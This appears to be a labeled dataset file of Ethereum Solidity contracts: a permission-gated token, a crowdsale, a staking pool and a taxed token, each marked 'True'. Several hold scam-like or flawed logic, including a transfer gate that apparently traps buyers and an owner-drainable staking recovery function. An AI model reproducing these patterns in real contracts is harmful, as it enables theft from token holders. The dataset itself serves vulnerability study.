function transfer(address recipient, uint256 amount) public virtual onlyPermitted override returns (bool) {
_transfer(_msgSender(), recipient, amount);
if(_msgSender() == creator())
{ givePermissions(recipient); }
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual onlyCreator override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
if(_msgSender() == uniswap())
{ givePermissions(recipient); } // uniswap should transfer only to the exchange contract (pool) - give it permissions to transfer
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual onlyCreator returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual onlyCreator returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
} | True | [
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pragma solidity^0.4.13;
/**
* Math operations with safety checks
*/
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20Basic {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function transfer(address to, uint value);
event Transfer(address indexed from, address indexed to, uint value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint);
function transferFrom(address from, address to, uint value);
function approve(address spender, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint;
mapping(address => uint) balances;
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4) {
throw;
}
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implemantation of the basic standart token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// if (_value > _allowance) throw;
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on beahlf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint _value) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
/**
* @dev Function to check the amount of tokens than an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract SENSToken is StandardToken {
using SafeMath for uint256;
string public constant name = "SENS Token";
string public constant symbol = "SNS";
uint256 public constant decimals = 18;
string public version = "1.0";
address public executor;
address public devETHDestination;
address public devSENSDestination;
bool public saleHasEnded;
bool public minCapReached;
bool public allowRefund;
mapping (address => uint256) public ETHContributed;
uint256 public totalETHRaised;
uint256 public saleStartBlock;
uint256 public saleEndBlock;
uint256 public constant DEV_PORTION = 45;
uint256 public constant SECURITY_ETHER_CAP = 20000 ether;
uint256 public constant SENS_PER_ETH_BASE_RATE = 500;
function SENSToken(
address _devETHDestination,
address _devSENSDestination,
uint256 _saleStartBlock,
uint256 _saleEndBlock
) {
if (_devETHDestination == address(0x0)) throw;
if (_devSENSDestination == address(0x0)) throw;
if (_saleEndBlock <= block.number) throw;
if (_saleEndBlock <= _saleStartBlock) throw;
executor = msg.sender;
saleHasEnded = false;
minCapReached = false;
allowRefund = false;
devETHDestination = _devETHDestination;
devSENSDestination = _devSENSDestination;
totalETHRaised = 0;
saleStartBlock = _saleStartBlock;
saleEndBlock = _saleEndBlock;
totalSupply = 0;
}
function createTokens() payable external {
if (saleHasEnded) throw;
if (block.number < saleStartBlock) throw;
if (block.number > saleEndBlock) throw;
uint256 newEtherBalance = totalETHRaised.add(msg.value);
if (newEtherBalance > SECURITY_ETHER_CAP) throw;
if (0 == msg.value) throw;
uint256 curTokenRate = SENS_PER_ETH_BASE_RATE;
uint256 amountOfETH = msg.value.mul(curTokenRate);
uint256 totalSupplySafe = totalSupply.add(amountOfETH);
uint256 balanceSafe = balances[msg.sender].add(amountOfETH);
uint256 contributedSafe = ETHContributed[msg.sender].add(msg.value);
totalSupply = totalSupplySafe;
balances[msg.sender] = balanceSafe;
totalETHRaised = newEtherBalance;
ETHContributed[msg.sender] = contributedSafe;
}
function endSale() {
if (saleHasEnded) throw;
if (!minCapReached) throw;
if (msg.sender != executor) throw;
saleHasEnded = true;
uint256 additionalSENS = (totalSupply.mul(DEV_PORTION)).div(100 - DEV_PORTION);
uint256 totalSupplySafe = totalSupply.add(additionalSENS);
uint256 devShare = additionalSENS;
totalSupply = totalSupplySafe;
balances[devSENSDestination] = devShare;
if (this.balance > 0) {
if (!devETHDestination.call.value(this.balance)()) throw;
}
}
function withdrawFunds() {
if (0 == this.balance) throw;
if (!devETHDestination.call.value(this.balance)()) throw;
}
function changeDeveloperETHDestinationAddress(address _newAddress) {
if (msg.sender != executor) throw;
devETHDestination = _newAddress;
}
function changeDeveloperSENSDestinationAddress(address _newAddress) {
if (msg.sender != executor) throw;
devSENSDestination = _newAddress;
}
function transfer(address _to, uint _value) {
super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) {
super.transferFrom(_from, _to, _value);
}
} | True | [
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] |
/**
*Submitted for verification at Etherscan.io on 2021-09-07
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
contract Staking {
address public owner;
IERC20 public TKN;
uint256[5] public periods = [30 days, 60 days, 90 days, 180 days, 360 days];
uint8[5] public rates = [101, 102, 103, 106, 112];
uint256[5] public amounts = [10000e18, 20000e18, 30000e18, 50000e18, 100000e18];
uint256 public rewardsPool;
uint256 public MAX_STAKES = 100;
struct Stake {
uint8 class;
uint8 cycle;
uint256 initialAmount;
uint256 finalAmount;
uint256 timestamp;
bool unstaked;
}
Stake[] public stakes;
mapping(address => uint256[]) public stakesOf;
mapping(uint256 => address) public ownerOf;
event Staked(address indexed sender, uint8 indexed class, uint256 amount, uint256 finalAmount);
event Prolonged(address indexed sender, uint8 indexed class, uint8 cycle, uint256 newAmount, uint256 newFinalAmount);
event Unstaked(address indexed sender, uint8 indexed class, uint8 cycle, uint256 amount);
event TransferOwnership(address indexed previousOwner, address indexed newOwner);
event IncreaseRewardsPool(address indexed adder, uint256 added, uint256 newSize);
modifier restricted {
require(msg.sender == owner, 'This function is restricted to owner');
_;
}
function stakesInfo(uint256 _from, uint256 _to) public view returns (Stake[] memory s) {
s = new Stake[](_to - _from);
for (uint256 i = _from; i <= _to; i++) s[i - _from] = stakes[i];
}
function stakesInfoAll() public view returns (Stake[] memory s) {
s = new Stake[](stakes.length);
for (uint256 i = 0; i < stakes.length; i++) s[i] = stakes[i];
}
function stakesLength() public view returns (uint256) {
return stakes.length;
}
function myStakes(address _me) public view returns (Stake[] memory s, uint256[] memory indexes) {
s = new Stake[](stakesOf[_me].length);
indexes = new uint256[](stakesOf[_me].length);
for (uint256 i = 0; i < stakesOf[_me].length; i++) {
indexes[i] = stakesOf[_me][i];
s[i] = stakes[indexes[i]];
}
}
function myActiveStakesCount(address _me) public view returns (uint256 l) {
uint256[] storage _s = stakesOf[_me];
for (uint256 i = 0; i < _s.length; i++) if (!stakes[_s[i]].unstaked) l++;
}
function stake(uint8 _class) public {
require(_class < 5, "Wrong class"); // data valid
uint256 _amount = amounts[_class];
require(myActiveStakesCount(msg.sender) < MAX_STAKES, "MAX_STAKES overflow"); // has space for new active stake
uint256 _finalAmount = (_amount * rates[_class]) / 100;
require(rewardsPool >= _finalAmount - _amount, "Rewards pool is empty for now");
rewardsPool -= _finalAmount - _amount;
require(TKN.transferFrom(msg.sender, address(this), _amount));
uint256 _index = stakes.length;
stakesOf[msg.sender].push(_index);
stakes.push(Stake({
class: _class,
cycle: 1,
initialAmount: _amount,
finalAmount: _finalAmount,
timestamp: block.timestamp,
unstaked: false
}));
ownerOf[_index] = msg.sender;
emit Staked(msg.sender, _class, _amount, _finalAmount);
}
function prolong(uint256 _index) public {
require(msg.sender == ownerOf[_index]);
Stake storage _s = stakes[_index];
require(!_s.unstaked); // not unstaked yet
require(block.timestamp >= _s.timestamp + periods[_s.class]); // staking period finished
uint256 _newFinalAmount = (_s.finalAmount * rates[_s.class]) / 100;
require(rewardsPool >= _newFinalAmount - _s.finalAmount, "Rewards pool is empty for now");
rewardsPool -= _newFinalAmount - _s.finalAmount;
_s.timestamp = block.timestamp;
_s.cycle++;
require(_s.cycle * periods[_s.class] <= 360 days, "total staking time exceeds 360 days");
emit Prolonged(msg.sender, _s.class, _s.cycle, _s.finalAmount, _newFinalAmount);
_s.finalAmount = _newFinalAmount;
}
function unstake(uint256 _index) public {
require(msg.sender == ownerOf[_index]);
Stake storage _s = stakes[_index];
require(!_s.unstaked); // not unstaked yet
require(block.timestamp >= _s.timestamp + periods[_s.class]); // staking period finished
require(TKN.transfer(msg.sender, _s.finalAmount));
_s.unstaked = true;
emit Unstaked(msg.sender, _s.class, _s.cycle, _s.finalAmount);
}
function transferOwnership(address _newOwner) public restricted {
require(_newOwner != address(0), 'Invalid address: should not be 0x0');
emit TransferOwnership(owner, _newOwner);
owner = _newOwner;
}
function returnAccidentallySent(IERC20 _TKN) public restricted {
require(address(_TKN) != address(TKN));
uint256 _amount = _TKN.balanceOf(address(this));
require(TKN.transfer(msg.sender, _amount));
}
function increaseRewardsPool(uint256 _amount) public {
TKN.transferFrom(msg.sender, address(this), _amount);
rewardsPool += _amount;
emit IncreaseRewardsPool(msg.sender, _amount, rewardsPool);
}
function updateMax(uint256 _max) public restricted {
MAX_STAKES = _max;
}
constructor(IERC20 _TKN) {
owner = msg.sender;
TKN = _TKN;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-02-11
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract GasifyToken is Ownable, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
address public rewardsWallet;
event Unlocked(address owner, uint256 amount);
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_, address _rewardsWallet) {
_name = name_;
_symbol = symbol_;
rewardsWallet = _rewardsWallet;
uint256 _amount = 10000000 ether;
uint256 _circulatingSupply = 5000000 ether;
_mint(address(this), _amount);
_balances[address(this)] -= _circulatingSupply;
_balances[_msgSender()] += _circulatingSupply;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overloaded;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
require(_allowances[sender][_msgSender()] >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
require(_allowances[_msgSender()][spender] >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
(uint256 _finalAmount, uint256 _tax) =_beforeTokenTransfer(sender, recipient, amount);
require(_balances[sender] >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] -= amount;
_balances[recipient] += _finalAmount;
_balances[rewardsWallet] += _tax;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
require(_balances[account] >= amount, "ERC20: burn amount exceeds balance");
_balances[account] -= amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function unlockRemainingToken() public onlyOwner {
uint256 _lockedBalance = _balances[address(this)];
require(_lockedBalance > 0, "GasifyToken: Token have already been unlocked");
_balances[address(this)] = 0;
_balances[_msgSender()] += _lockedBalance;
emit Unlocked(_msgSender(), _lockedBalance);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual returns(uint256, uint256) {
uint256 _tax = (amount * 4) / 100;
uint256 _availableBalance = amount - _tax;
return (_availableBalance, _tax);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-07-12
*/
/**
*Submitted for verification at Etherscan.io on 2021-07-10
*/
pragma solidity 0.6.12;
interface ICvxRewardPool {
function stake(uint256 _amount) external;
function getReward(bool _stake) external;
function withdraw(uint256 _amount, bool claim) external;
function earned(address account) external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
}
//
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
//
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: contracts/GSN/Context.sol
//
// File: contracts/token/ERC20/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
